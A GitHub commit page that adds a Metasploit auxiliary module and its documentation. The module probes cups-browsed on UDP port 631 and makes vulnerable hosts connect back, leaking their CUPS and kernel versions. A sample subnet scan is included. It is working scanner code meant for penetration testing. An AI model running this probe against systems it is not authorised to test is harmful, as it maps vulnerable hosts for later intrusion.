Skip to content

Commit dc03b02

Browse files
authored
Merge pull request rapid7#19510 from bcoles/cups_browsed_info_disclosure
Add cups-browsed Information Disclosure module
2 parents 8dc89ca + 7cf5782 commit dc03b02

File tree

2 files changed

+97
-0
lines changed

2 files changed

+97
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
## Vulnerable Application
2+
3+
Retrieve CUPS version and kernel version information from `cups-browsed` services.
4+
5+
6+
## Verification Steps
7+
8+
1. Do: `use modules/auxiliary/scanner/misc/cups_browsed_info_disclosure`
9+
2. Do: `set rhosts [ips]`
10+
3. Do: `run`
11+
12+
## Options
13+
14+
15+
## Scenarios
16+
17+
### Scanning a local network for CUPS services
18+
19+
```
20+
msf6 > use modules/auxiliary/scanner/misc/cups_browsed_info_disclosure
21+
msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) > set rhosts 192.168.200.0/24
22+
rhosts => 192.168.200.0/24
23+
msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) > run
24+
[*] Auxiliary module running as background job 0.
25+
msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) >
26+
[*] Using URL: http://192.168.200.130:8080/printers/s65WzxwTmx
27+
[+] 192.168.200.132: CUPS/2.3.1 (Linux 5.4.0-187-generic; x86_64) IPP/2.0
28+
[+] 192.168.200.139: CUPS/2.4.7 (Linux 6.8.0-31-generic; x86_64) IPP/2.0
29+
[*] Scanned 256 of 256 hosts (100% complete)
30+
[*] Server stopped.
31+
```
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Auxiliary::UDPScanner
9+
include Msf::Exploit::Remote::HttpServer
10+
11+
def initialize
12+
super(
13+
'Name' => 'cups-browsed Information Disclosure',
14+
'Description' => %q{
15+
Retrieve CUPS version and kernel version information from cups-browsed services.
16+
},
17+
'Author' => [
18+
'evilsocket', # discovery
19+
'bcoles' # msf
20+
],
21+
'License' => MSF_LICENSE,
22+
'References' => [
23+
['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8' ],
24+
['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/' ],
25+
],
26+
'DefaultOptions' => { 'RPORT' => 631 },
27+
)
28+
deregister_options('URIPATH')
29+
end
30+
31+
def build_probe
32+
@probe ||= "0 3 #{get_uri}"
33+
@probe
34+
end
35+
36+
def run
37+
start_service('Path' => "/printers/#{Rex::Text.rand_text_alphanumeric(10..16)}")
38+
super
39+
end
40+
41+
def on_request_uri(cli, request)
42+
return if request.nil?
43+
44+
info = request['User-Agent']
45+
46+
return unless info.to_s.include?('CUPS')
47+
48+
print_good("#{cli.peerhost}: #{info}")
49+
50+
report_host(host: cli.peerhost)
51+
report_service(
52+
host: cli.peerhost,
53+
proto: 'udp',
54+
port: rport,
55+
name: 'cups-browsed',
56+
info: info
57+
)
58+
report_vuln({
59+
host: cli.peerhost,
60+
port: rport,
61+
proto: 'udp',
62+
name: 'cups-browsed Information Disclosure',
63+
refs: references
64+
})
65+
end
66+
end

0 commit comments

Comments
 (0)